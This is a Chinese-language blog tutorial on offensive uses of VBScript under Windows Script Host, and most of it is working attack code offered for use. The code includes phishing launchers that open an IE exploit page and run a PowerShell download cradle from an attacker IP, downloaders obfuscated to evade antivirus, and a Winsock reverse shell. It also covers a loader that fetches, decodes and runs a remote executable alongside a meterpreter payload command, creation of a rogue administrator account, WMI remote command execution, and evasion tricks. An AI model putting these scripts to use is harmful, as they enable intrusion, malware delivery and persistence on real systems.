VBScript实战场景利用

前言

学点老知识,可能有用也可能没啥用。不得学了才知道吗?

VBScript 简介

VBScript 是微软出品的一种脚本语言。不需要进行任何的编译,直接由宿主解释源代码并执行。

VBScript 使用

我们熟知的VBScript 广泛用于网页设计和ASP语言。其实VBScript可以通过windows 脚本宿主(WSH)调用COM,所以也可以在windows操作系统中处理文件、调用系统命令、调用COM接口、编写病毒、修改注册表等等。且扩展性比较强,在.wsf、.wsc、.hta、 .asp文件中都可以应用。

windows 脚本宿主

windows 脚本宿主(windows script host)简称WSH是一个windows管理工具。WSH是兼容各种脚本语言的宿主接口,处理各种 ActiveX 脚本引擎。也就是说如果使用使用VBScript、JScript,可以直接引入WSH。
Windows操作系统可以自动辨认和执行.VBS和.WSF这两种文件格式。

运行方式

WSH提供了两个用于执行脚本的接口。
cscript.exe 用于命令行中运行脚本
wscript.exe 用于在windows环境中运行脚本
通俗的说,就是cscript.exe从DOS窗口启动,wscript.exe与windows GUI交互执行。功能上没有差别。

内置对象

WSH包含一些核心的对象和方法,方便管理计算机。
WScript:WSH对象模型的基础

Argument 属性:传递的参数
CreateObject方法:创建了WshNetwork对象
Echo 方法:输出
Sleep方法 : 休息后再执行

WshShell:获取系统环境变量、访问 Windows 的特殊文件、修改注册表等等。

RegRead 方法:获取注册表某一项
Run 方法:运行某程序
Exec 方法:运行某程序
SendKeys 方法:模拟键盘

WshNetwork:提供对计算机所连接的网络上共享资源的访问

更多的核心的对象可以参考《WINDOWS脚本技术手册》《VBScript程序员参考手册》两本书。

VBScript 基础语法

Dim: 声明变量
MsgBox函数: 显示消息框
InputBox函数: 等待用户输入文本
Sub: 定义过程
call: 调用过程
&符号: 连接符
' 符号: 注释符
: 符号: 多行代码写成一行,要用冒号作为分隔符
OnError Resume Next: 代码出错依然执行

Run和Exec

WScript.Shell是WshShell对象的ProgID(程序标识符)。
WScript.Shell对象的Run和Exec两个方法都可以来运行程序,但也有区别。

Run 方法
有三个参数:
第一个参数是要执行程序的路径,
第二个参数是窗口的形式,0后台运行;1正常运行;2最小化;3最大化;缺省的话表示正常运行
第三个参数是表示这个脚本是等待还是继续执行,如果设为了True,脚本就会等待调用的程序退出后再向后执行。
Run 的返回值是一个整数,就0和1两种状态。

Exec 方法
运行一个程序,获取运行状态、获取PID,提供对StdIn、StdOut和StdErr流的访问,获取命令输出。

区别

  1. Run在运行文件时,会启动相关联的程序打开该文件(没有关联则出错);Exec只能运行程序。
  2. Run不仅可以直接运行位于path环境变量中的程序,还能运行在注册表中设置的程序"别名";Exec只能直接运行位于path环境变量中的程序。
  3. Run会等待程序运行结束后再执行后面的命令。
  4. Exec运行的程序路径中即使有空格,也可以正常运行;Run运行的程序路径必须使用双引号。(vbs中一个引号字符本身要用两个引号表示,写成"",或者使用chr(34)表示)

除了WScript.Shell组件可以执行系统命令外,vbs还有不同组件执行程序的多种方法。
具体参考:捡拾VBS应用层里的明珠

适用的场景

钓鱼场景

WScript的Run方法可以隐藏窗口,放在后台执行。我们可以结合IE浏览器的双杀漏洞(CVE-2018-8174 )获取系统权限。

Set objws = WScript.CreateObject("wscript.shell") 
objws.Run """C:\Program Files (x86)\Internet Explorer\iexplore.exe""http://47.94.80.xxx/exploit.html",0

注意该IE双杀漏洞在win7 32位IE浏览器运行

image.png

或者结合powershell来隐藏窗口,直接在内存加载。隐蔽性、免杀性都很好。

set ws=wscript.createobject("wscript.shell")
call ws.run ("C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe pwd",0,true)
wscript.sleep 1000
call ws.run ("C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe set-alias -name key -value Invoke-Expression;key(New-Object Net.WebClient).DownloadString('http://47.94.80.xxx/ps/a.ps1')",0,true)
image.png

下载文件场景

解读一下网上公开的vbs下载源代码:

Set xmlhttp = CreateObject("MSXML2.XMLHTTP")
'创建MSXML2.XMLHTTP 对象
xmlhttp.Open "GET","http://47.94.80.xxx/ps/a.ps1",false
'GET方式发送请求,也可以设置为表单上传
xmlhttp.Send()
'send方法
‘wscript.echo "Status: " & xmlhttp.status
'wscript的echo方法,将结果输出到控制台
'xmlhttp的属性,返回状态码
'wscript.echo xmlhttp.responseText
'xmlhttp的属性,返回字符串
’wscript.echo xmlhttp.responseBody
'结果返回为无符号整数数组

Set aGet = CreateObject("ADODB.Stream")
'创建ADODB.Stream对象
aGet.Mode = 3
'mode读写权限,默认为0,1代表只读,2代表只写,3代表读写
aGet.Type = 1 
'type数据类型。默认2,文本类型,1代表二进制
aGet.Open()
'打开对象
aGet.Write(xmlhttp.responseBody)
'写二进制数据
aGet.SaveToFile "shell.ps1",2
'把对象的数据保存为文件,1不覆盖原文件,2覆盖原文件
'最后一句注释bypass

将上面代码修改为自定义获取url地址、保存的文件名。
down.vbs

Set a = Createobject("adodb.stream")
Set w = Createobject("microsoft.xmlhttp")
w.open "get",wscript.arguments(0),0
w.send
a.type = 1
a.open
a.write w.responsebody
a.savetofile wscript.arguments(1),2 

运行命令

down.vbs http://47.94.80.xxx/ps/a.ps1 a.ps1

进一步修改为echo一句话。冒号将多行代码连接为一行;^转义字符解决在cmd下的输入。

echo set a=createobject(^"adod^"+^"b.stream^"):set w=createobject(^"micro^"+^"soft.xmlhttp^"):w.open^"get^",wscript.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wscript.arguments(1),2  >> down.vbs

但是非常容易被查杀,修改为绕过360的代码,但因为vbscript没有块注释,需要不断echo进一个文件。

echo public function HexStr2ByteArr() >> down.txt
echo Set xmlhttp = CreateObject("MSXML2.XMLHTTP") >> down.txt
echo '创建MSXML2.XMLHTTP 对象 >> down.txt
echo xmlhttp.Open "GET",wscript.arguments(0),false >> down.txt
echo 'GET方式发送请求,也可以设置为表单上传 >> down.txt
echo xmlhttp.Send() >> down.txt
echo 'send方法 >> down.txt
echo Set aGet = CreateObject("ADODB.Stream") >> down.txt
echo '创建ADODB.Stream对象 >> down.txt
echo aGet.Mode = 3 >> down.txt
echo 'mode读写权限,默认为0,1代表只读,2代表只写,3代表读写 >> down.txt
echo aGet.Type = 1  >> down.txt
echo 'type数据类型。默认2,文本类型,1代表二进制 >> down.txt
echo aGet.Open() >> down.txt
echo '打开对象 >> down.txt
echo aGet.Write(xmlhttp.responseBody) >> down.txt
echo '写二进制数据 >> down.txt
echo aGet.SaveToFile wscript.arguments(1),2 >> down.txt
echo '最后一句注释bypass >> down.txt
echo End Function >> down.txt
echo HexStr2ByteArr() >> down.txt

webshell场景

当在webshell里直接运行vbs时,实际是cscrpit.exe在运行该脚本。某些杀软会拦截cscript.exe该应用程序的调用。所以使用c语言的system函数对其进行封装。
代码如下:

#include 
#include 

int main(int argc, char*argv[], char*envp[]) 
{
    char buffer[100];
    sprintf(buffer, "cscript.exe %s %s", argv[1], argv[2]);
    system(buffer);
    return 0;
}

反弹cmd场景

在网上原来的remote cmdshell上基础上仔细阅读代码后并尝试改写。
最终形成了这个low的代码。无法在实际中应用。因为nc反弹后需要输入命令,vbs只找到了InputBox函数,以弹出对话框的形式进行输入命令后发送。所有写的比较鸡肋。
贴出代码,方便学习吧。
cmdshell.vbs

RemoteHost = Wscript.Arguments(0)
RemotePort = Wscript.Arguments(1)

Set sock = Wscript.createobject("MSWINsock.Winsock")
sock.Protocol = 0
sock.RemoteHost = RemoteHost
sock.RemotePort = RemotePort
sock.Connect 
Wscript.sleep 1000
if sock.state = 7 then
WScript.Echo "Connected to server."
Set ShellObj = WScript.CreateObject("WScript.Shell")
sock.SendData "Connected  Success, Welcome!" & chr(13) & chr(10)
Wscript.sleep 1000

Do
Dim sRevData
sRevData = InputBox("please your send data")
a = (Split(sRevData, chr(10), -1, 1))
data = a(0)
Set ExecObj = ShellObj.Exec(data)
sock.SendData ExecObj.StdOut.ReadAll
sock.SendData ExecObj.StdErr.ReadAll

If sRevData <> "" Then
sock.SendData chr(10) & "[" & sock.LocalHostName & "@" & "cmd]#: "
End If

If Left(sRevData, 4) = "exit" Then
sock.Close
Exit Do
End If

Loop
Wscript.sleep 1000
end if
sock.Close

运行方式:
控制端

nc -l -v -p 4444

目标端

c:\Windows\SysWOW64\cscript.exe cmdshell.vbs 127.0.0.1 4444 

这里解释一下:MSWinsock.Winsock是32位COM组件,在64位系统中存在两组不同的wscript.exe和cscript.exe,一组是64位的,在C:\Windows\System32 文件夹;一组是32位的,在C:\Windows\SysWOW64 文件夹。由于64位和32位的内存模式不同,64位进程无法加载32位DLL,所以DLL封装COM组件无法在64位进程中调用。在win7 上测试成功运行。
核心代码

Set sock = Wscript.createobject("MSWINsock.Winsock")
'创建Winsock对像
sock.Protocol = 0
'Protocol的值为0时,所创建的协议是TCP;值为1时,则创建的是UDP
sock.RemoteHost = "127.0.0.1"
sock.RemotePort = "4444"
sock.Connect 
Wscript.sleep 1000
if sock.state = 7 then
'state 返回创建socket的对象状态
'7 表示已连接
sendata = "Hello!!!" & chr(13)
'定义要发送的数据
sock.senddata sendata
'发送数据
Wscript.sleep 100
end if
sock.Close

加载shellcode PE 场景

metasploit

借助metasploit,命令生成vbs木马。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=47.94.80.xxx LPORT=8080  EXITFUNC=thread  -f vbs --arch x86 --platform win

阅读了一下vbs木马的源代码。就是通过将恶意的shellcodePE保存在创建的temp临时目录下并运行。这种老套路会容易被杀软检测到。
所以对先对代码进行改写,方便阅读和调试。
主要修改了加载shellcodePE的方式,改为远程下载后加载。
msf.vbs

Function Decode(strB64)
strXML = "" & _
                strB64 & ""
Set oXMLDoc = CreateObject("MSXML2.DOMDocument.3.0")
oXMLDoc.LoadXML(strXML)
decode = oXMLDoc.selectsinglenode("B64DECODE").nodeTypedValue
'对shellcodePE进行base64解码
set oXMLDoc = nothing
End Function

Function writefile()
strFileURL = WScript.Arguments.Item(0)
Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
objXMLHTTP.open "GET", strFileURL, false
objXMLHTTP.send()
shellcodePE = objXMLHTTP.responseText
'借助下载的思路,通过MSXML2.XMLHTTP下载shellcodePE
Dim fso
Set fso = CreateObject("Scripting.FileSystemObject")
Dim tempdir
Dim basedir
Set tempdir = fso.GetSpecialFolder(2)
basedir = tempdir & "\" & fso.GetTempName()
fso.CreateFolder(basedir)
tempexe = basedir & "\" & "test.exe"
'msgbox tempexe 
'保存在~\AppData\Local\Temp临时目录,并将shellcodePE写进test.exe文件

code = Decode(shellcodePE)
Dim adodbstream
Set adodbstream = CreateObject("ADODB.Stream")
adodbstream.Type = 1
adodbstream.Open
adodbstream.Write code
adodbstream.SaveToFile tempexe, 2
Dim wshell
Set wshell = CreateObject("Wscript.Shell")
wshell.run tempexe,0, true
'运行test.exe
fso.DeleteFile(tempexe)
'运行后删除
fso.DeleteFolder(basedir)
'运行后删除
Set fso = Nothing 
End Function

writefile()

可过部分杀软。
然后考虑如何生成shellcodePE。也就是base64编码的exe文件。
powershell 就可以很方便做到。

$PEBytes = [System.IO.File]::ReadAllBytes("C:\windows\system32\calc.exe")
$Base64Payload = [System.Convert]::ToBase64String($PEBytes)
Set-Content shellcodePE.txt -Value $Base64Payload

再将shellcodePE放在远程服务器上,提供下载。
运行命令

msf.vbs http://10.211.55.4/appcms/shellcodePE.txt
image.png

如需绕过杀软反弹metasploit,将calc.exe替换为恶意exe即可。

Cobalt Strike

Cobalt Strike 是通过生成hta文件来实现vbscript。
在Packages的HTML Application中。

image.png

代码功能和metasploit差不多,都是将shellcode(16进制)保存在指定的exe文件里再运行。

添加系统账户场景

利用活动目录(ADSI)的winnt对象,添加管理员。不依靠CMD等命令。

Dim var
Set wsnetwork = CreateObject("WSCRIPT.NETWORK") 
os = "WinNT://" & wsnetwork.ComputerName 
'winnt对象用来管理本地资源
var = "/Administrators,group"
'定义变量来bypass
Set oe = GetObject(os & var) 
Set od = GetObject(os).Create("user","cseroad") 
'建立用户
od.SetPassword "123456" 
'设置密码 
od.SetInfo 
'保存 
Set of = GetObject(os&"/cseroad",user)
'得到用户 
oe.add os & "/cseroad"

自定义输入添加的账户和密码
netuser.vbs

struser = wscript.arguments(0) 
strpass = wscript.arguments(1) 

Dim var
Set wsnetwork = CreateObject("WSCRIPT.NETWORK") 
os = "WinNT://"&wsnetwork.ComputerName  
var = "/Administrators,group"
Set oe = GetObject(os & var) 
Set od = GetObject(os).Create("user",struser) 
od.SetPassword strpass
od.SetInfo  
Set of = GetObject(os&"/"&struser&",user")
oe.add os & "/" & struser

命令为

netuser.vbs cseroad 123456

内网场景

我们都知道内网横向工具wmiexec.vbs的强大。对于WMI的操作,powershell和vbscript最为方便。WMI是windows管理规范,提供了操作系统的接口方便管理计算机。
详情参考微软官方文档 https://docs.microsoft.com/en-us/windows/win32/wmisdk/about-wmi
这里简单看一下WMI是如何远程执行命令的。
vbsexec.vbs

If WScript.Arguments.Count = 4 Then
    target = WScript.Arguments.Item(0)
    username = WScript.Arguments.Item(1)
    password = WScript.Arguments.Item(2)
    command = WScript.Arguments.Item(3)
Else
    Wscript.Echo "Usage: vbsexec.vbs target username password command"
    Wscript.Quit
End If

Set objSWbemLocator = CreateObject("WbemScripting.SWbemLocator")
'定义了SwbemLocator的实例
Set objSWbemServices = objSWbemLocator.ConnectServer _
    (target, "root\cimv2", username, password)
'ConnectServer远程连接指定凭证
'该方法总共有8个参数
'可以本机使用,只需要设置前两个参数
'连接到远程计算机,需要设置前4个参数。root\CIMV2需要登录的CIM命名空间。

'command = "calc.exe"
Set objProcess = objSWbemServices.Get("Win32_Process")
'利用Win32_Process这个类创建一个进程
errReturn = objProcess.Create("cmd.exe /c " & command, , , intProcessID)

If errReturn = 0 Then
    Wscript.Echo "Process started with ID: " & intProcessID
Else
    Wscript.Echo "Process  error" 
End If

运行命令

vbsExec.vbs 172.16.111.113 administrator cseroad@2008 "net user admin 1234qwer.. /add"
image.png

免杀

编写vbscript调用powershell,并使用超长normal进行bypass

set ws=wscript.createobject("wscript.shell")
call ws.run ("C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe pwd",0,true)
wscript.sleep 100
call ws.run ("C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  set-alias -name key -value Invoke-Expression;key(New-Object Net.WebClient).DownloadString('http://106.53.xx.xx:82/a')",0,true)

再使用vbseditor编辑器编译为exe文件。免杀率也比较好。

总结

在某些方面vbscript的作用依然不可忽视。活学活用,多学点总是没错的。
如有错误请斧正。

参考资料

64位系统VBS调用32位COM组件
vbs 的 VBScript 打造自己的远程CMDShell附使用教程
用不同姿势复现 CVE-2018-8174 漏洞
使用vbs执行命令小tip
WMI的基础介绍在vbs中的使用方式

你可能感兴趣的:(VBScript实战场景利用)